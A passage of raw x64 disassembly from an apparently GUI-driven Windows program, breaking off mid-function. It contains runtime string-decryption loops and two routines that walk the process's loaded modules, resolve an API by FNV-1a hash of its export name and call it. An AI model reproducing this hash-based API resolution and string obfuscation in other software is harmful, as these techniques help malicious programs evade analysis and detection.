lea rdx, [rbp + 0xbd0]
mov ecx, 3
call fcn.140021cf0
movaps xmm0, xmmword [0x140164410]
movups xmmword [rbp + 0xb60], xmm0
lea rdx, [rbp + 0xb60]
mov ecx, 5
call fcn.140021cf0
movaps xmm1, xmm11
mov ecx, 6
call fcn.140021e30
mov qword [rbp + 0x298], 0
lea rcx, [rbp + 0x298]
call fcn.140025c50
mov dword [rbp + 0x2a0], 0x43160000
mov dword [rbp + 0x2a4], 0x43e60000
mov r9d, Ordinal_26
mov r8b, 1
lea rdx, [rbp + 0x2a0]
lea rcx, str.Sidebar
call fcn.140007ef0
mov dword [rbp + 0x2a8], 0x41480000
mov dword [rbp + 0x2ac], 0x41200000
lea rcx, [rbp + 0x2a8]
call fcn.140025c50
mov dword [rbp + 0x2b0], 0
mov dword [rbp + 0x2b4], 0x43390000
lea rcx, [rbp + 0x2b0]
call fcn.140025c50
call fcn.140019700
mov rdi, rax
mov dword [rax + 0xc4], 0x3f800000
mov dword [rax + 0xc8], 0x3f800000
mov dword [rax + 0xcc], 0x3f800000
mov dword [rax + 0xd0], 0x3f800000
mov dword [rax + 0x214], 0x3f800000
mov dword [rax + 0x218], 0x3f800000
mov qword [rax + 0x21c], 0x3f800000
mov dword [rax + 0x114], 0x3f800000
mov dword [rax + 0x118], 0x3f800000
mov qword [rax + 0x11c], 0x3f800000
movups xmm0, xmmword [0x140196300]
movups xmmword [rax + 0x224], xmm0
movups xmm0, xmmword [rax + 0xe4]
movups xmmword [rax + 0x234], xmm0
mov rcx, qword [rbp + 0x70]
call fcn.140025a50
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x14011d0c0]
mov dword [rbp + 0x2b8], 0x43480000
mov dword [rbp + 0x2bc], 0x42200000
movups xmm1, xmmword [0x1401614c8]
movups xmmword [rbp + 0x638], xmm1
movzx eax, word [0x1401614d8]
mov word [rbp + 0x648], ax
movzx eax, byte [0x1401614da]
mov byte [rbp + 0x64a], al
mov r8d, r12d
cmp esi, 2
jl 0x14008f3b5
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x63c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008f2b0
cmp r8d, 0x13
jge 0x14008f401
movsxd rax, r8d
lea r9, [rbp + 0x638]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14008f3d0
movdqa xmmword [rsp + 0x60], xmm7
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196710]
mov qword [rsp + 0x28], rax
lea rax, [0x140196708]
mov qword [rsp + 0x20], rax
lea r9, [0x140196700]
xor r8d, r8d
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x638]
call fcn.14003f930
test al, al
je 0x14008f47e
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401976fa], 0
mov byte [0x1401976fb], 0
mov dword [rbp + 0x2c0], 0
mov dword [rbp + 0x2c4], 0x436b0000
lea rcx, [rbp + 0x2c0]
call fcn.140025c50
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x140164480]
movups xmm8, xmmword [0x140196300]
mov dword [rbp + 0x2c8], 0x43480000
mov dword [rbp + 0x2cc], 0x42200000
movups xmm0, xmmword [0x1401614e0]
movups xmmword [rbp + 0x710], xmm0
mov eax, dword [0x1401614f0]
mov dword [rbp + 0x720], eax
movzx eax, word [0x1401614f4]
mov word [rbp + 0x724], ax
cmp byte [0x1401614f5], 0
je 0x14008f6a1
mov r8d, r12d
cmp esi, 2
jl 0x14008f655
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x714]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008f550
cmp r8d, 0x16
jge 0x14008f6a1
movsxd rax, r8d
lea r9, [rbp + 0x710]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14008f670
movdqa xmmword [rsp + 0x60], xmm7
movdqa xmmword [rsp + 0x50], xmm8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196728]
mov qword [rsp + 0x28], rax
lea rax, [0x140196720]
mov qword [rsp + 0x20], rax
lea r9, [0x140196718]
xor r8d, r8d
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x710]
call fcn.14003f930
test al, al
je 0x14008f718
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401976fa], 1
mov byte [0x1401976fb], 0
mov qword [rbp + 0x2d0], 0
lea rcx, [rbp + 0x2d0]
call fcn.140025c50
mov rcx, qword [0x140197610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm10, dword [0x1401642ec]
movaps xmm3, xmm10
movaps xmm2, xmm11
movaps xmm0, xmm11
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0x1160]
call fcn.140009a50
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x1164]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1160]
movss dword [rbp + 0x1150], xmm6
movss dword [rbp + 0x1154], xmm7
movss dword [rbp + 0x1158], xmm0
movss dword [rbp + 0x115c], xmm1
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1158]
lea rdx, [rbp + 0x1150]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f720
mov dword [rdi + 0xf4], 0x3f800000
mov dword [rdi + 0xf8], 0x3f800000
mov dword [rdi + 0xfc], 0x3f800000
mov dword [rdi + 0x100], 0x437f0000
mov dword [rdi + 0x114], 0x3f800000
mov dword [rdi + 0x118], 0x3f800000
mov qword [rdi + 0x11c], 0x3f800000
mov dword [rbp + 0x2d8], 0
mov dword [rbp + 0x2dc], 0x43660000
lea rcx, [rbp + 0x2d8]
call fcn.140025c50
mov dword [rbp + 0x2e0], 0
mov dword [rbp + 0x2e4], 0x43910000
lea rcx, [rbp + 0x2e0]
call fcn.140025c50
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
mov dword [rbp + 0x2e8], 0x425c0000
mov dword [rbp + 0x2ec], 0x43c80000
lea rcx, [rbp + 0x2e8]
call fcn.140025c50
mov dword [rdi + 0x224], 0x3d5d2f1b
mov dword [rdi + 0x228], 0x3d5d2f1b
mov dword [rdi + 0x22c], 0x3d5d2f1b
mov dword [rdi + 0x230], 0x437f0000
mov dword [rdi + 0xf4], 0x3d5d2f1b
mov dword [rdi + 0xf8], 0x3d5d2f1b
mov dword [rdi + 0xfc], 0x3d5d2f1b
mov dword [rdi + 0x100], 0x43280000
mov dword [rdi + 0x114], 0x3da7ef9e
mov dword [rdi + 0x118], 0x3d9fbe77
mov qword [rdi + 0x11c], 0x3d9fbe77
movaps xmm0, xmmword [0x14011d0d0]
movups xmmword [rbp + 0xbf0], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0xc10], xmm1
mov dword [rbp + 0x2f0], 0x3f800000
mov dword [rbp + 0x2f4], 0x3f800000
mov qword [rbp + 0x2f8], 0
mov dword [rbp + 0x300], 0x42140000
mov dword [rbp + 0x304], 0x41e00000
lea rax, [rbp + 0xbf0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xc10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x2f0]
lea r8, [rbp + 0x2f8]
lea rdx, [rbp + 0x300]
mov rcx, r14
call fcn.140047380
test al, al
je 0x14008fc1b
movups xmm0, xmmword [0x1401614f8]
movups xmmword [rbp + 0x938], xmm0
movups xmm1, xmmword [0x140161508]
movups xmmword [rbp + 0x948], xmm1
movzx eax, word [0x140161518]
mov word [rbp + 0x958], ax
mov r8d, r12d
cmp esi, 2
jl 0x14008fb16
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x93c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008fa11
cmp r8d, 0x22
jge 0x14008fb61
movsxd rax, r8d
lea r9, [rbp + 0x938]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14008fb30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008fbf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008fbf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008fbf1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008fbd0
cmp r8d, 0x491e0a9c
je 0x14008fbfb
test r9d, r9d
jne 0x14008fbb0
mov rax, qword [rax]
jmp 0x14008fb80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x938]
call rdx
mov dword [rbp + 0x308], 0x41200000
mov dword [rbp + 0x30c], 0x43d70000
lea rcx, [rbp + 0x308]
call fcn.140025c50
mov rcx, r15
call fcn.140025a50
movaps xmm7, xmmword [0x140164430]
mov dword [rbp + 0x310], 0x42f40000
mov dword [rbp + 0x314], 0x41e00000
movups xmm0, xmmword [str.SQJYTNY]
movups xmmword [rbp + 0x758], xmm0
mov eax, dword [0x140161530]
mov dword [rbp + 0x768], eax
cmp byte [0x140161533], 0
je 0x14008fe11
mov r8d, r12d
cmp esi, 2
jl 0x14008fdc7
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x75c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008fcc2
cmp r8d, 0x14
jge 0x14008fe11
movsxd rax, r8d
lea r9, [rbp + 0x758]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14008fde0
movdqa xmmword [rsp + 0x60], xmm7
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140196740]
mov qword [rsp + 0x28], rax
lea rax, [0x140196738]
mov qword [rsp + 0x20], rax
lea r9, [0x140196730]
xor r8d, r8d
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x758]
call fcn.14003fdd0
test al, al
je 0x1400900eb
movups xmm0, xmmword [0x140161538]
movups xmmword [rbp + 0x960], xmm0
movups xmm1, xmmword [0x140161548]
movups xmmword [rbp + 0x970], xmm1
movzx eax, word [0x140161558]
mov word [rbp + 0x980], ax
mov r8d, r12d
cmp esi, 2
jl 0x14008ffe5
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x964]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008fee0
cmp r8d, 0x22
jge 0x140090031
movsxd rax, r8d
lea r9, [rbp + 0x960]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140090000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400900c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400900c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400900c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400900a0
cmp r8d, 0x491e0a9c
je 0x1400900cb
test r9d, r9d
jne 0x140090080
mov rax, qword [rax]
jmp 0x140090050
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x960]
call rdx
call fcn.140015b10
mov qword [rbp + 0x318], 0x43160000
lea rcx, [rbp + 0x318]
call fcn.140025c50
movss xmm8, dword [0x1401642e8]
movss xmm9, dword [0x14011cfb4]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400925f8
mov qword [rbp + 0x320], 0x43160000
lea rcx, [rbp + 0x320]
call fcn.140025c50
mov r15, qword [rbp + 0x70]
mov rcx, r15
call fcn.140025a50
call fcn.140019700
mov rdi, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
xorps xmm0, xmm0
movups xmmword [rbp + 0x1198], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11a8], xmm1
xor r8d, r8d
lea rdx, [0x140116ad4]
lea rcx, [rbp + 0x1198]
call fcn.140056350
nop
mov dword [rbp + 0x328], 0x44138000
mov dword [rbp + 0x32c], 0x43e60000
movsd xmm0, qword [0x140161560]
movsd qword [rbp - 0x18], xmm0
movzx eax, word [0x140161568]
mov word [rbp - 0x10], ax
cmp byte [0x140161569], 0
je 0x140090206
mov byte [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x17], 0x38
xor byte [rbp - 0x16], 0x39
xor byte [rbp - 0x15], 0x3a
xor byte [rbp - 0x14], 0x3b
xor byte [rbp - 0x13], 0x3c
xor byte [rbp - 0x12], 0x3d
xor byte [rbp - 0x11], 0x3e
xor byte [rbp - 0x10], 0x3f
xor byte [rbp - 0xf], 0x40
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x328]
lea rcx, [rbp - 0x18]
call fcn.140007ef0
mov dword [rbp + 0x330], 0x42480000
mov dword [rbp + 0x334], 0x42480000
lea rcx, [rbp + 0x330]
call fcn.140025c50
mov rcx, qword [0x140197610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm1, dword [0x1401642e4]
movaps xmm3, xmm1
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x1170]
call fcn.140009a50
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x1174]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1170]
movss dword [rbp + 0x1140], xmm6
movss dword [rbp + 0x1144], xmm7
movss dword [rbp + 0x1148], xmm0
movss dword [rbp + 0x114c], xmm1
mov dword [rsp + 0x30], 0xff0b0b0b
mov dword [rsp + 0x28], 0xff0b0b0b
mov dword [rsp + 0x20], 0xff0b0b0b
mov r9d, 0xff0b0b0b
lea r8, [rbp + 0x1148]
lea rdx, [rbp + 0x1140]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f720
mov dword [rdi + 0xd4], 0x3f800000
mov dword [rdi + 0xd8], 0x3f800000
mov dword [rdi + 0xdc], 0x3f800000
mov dword [rdi + 0xe0], 0x3f800000
mov dword [rbp + 0x338], 0x42700000
mov dword [rbp + 0x33c], 0x42700000
lea rcx, [rbp + 0x338]
call fcn.140025c50
mov rcx, qword [rbp + 0x340]
call fcn.140025a50
mov eax, dword [str.tAIHNO]
mov dword [rbp + 0x18], eax
movzx ecx, word [0x140161570]
mov word [rbp + 0x1c], cx
movzx eax, byte [0x140161572]
mov byte [rbp + 0x18], 0x43
xor byte [rbp + 0x19], 0x38
xor byte [rbp + 0x1a], 0x39
xor byte [rbp + 0x1b], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], 0x3c
xor al, 0x3d
mov byte [rbp + 0x1e], al
lea rcx, [rbp + 0x18]
call fcn.14004f2f0
mov dword [rbp + 0x348], 0x43820000
mov dword [rbp + 0x34c], 0x425c0000
lea rcx, [rbp + 0x348]
call fcn.140025c50
movaps xmm6, xmmword [0x140164470]
movaps xmm7, xmmword [0x140164460]
mov dword [rbp + 0x350], 0x43020000
mov dword [rbp + 0x354], 0x42480000
mov rax, qword [0x140161578]
mov qword [rbp + 0x90], rax
cmp byte [str._DLXHO], 0
je 0x140090541
cmp esi, 2
jl 0x1400904fe
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140090541
lea r9, [rbp + 0x90]
mov r8d, r12d
nop dword [rax + rax]
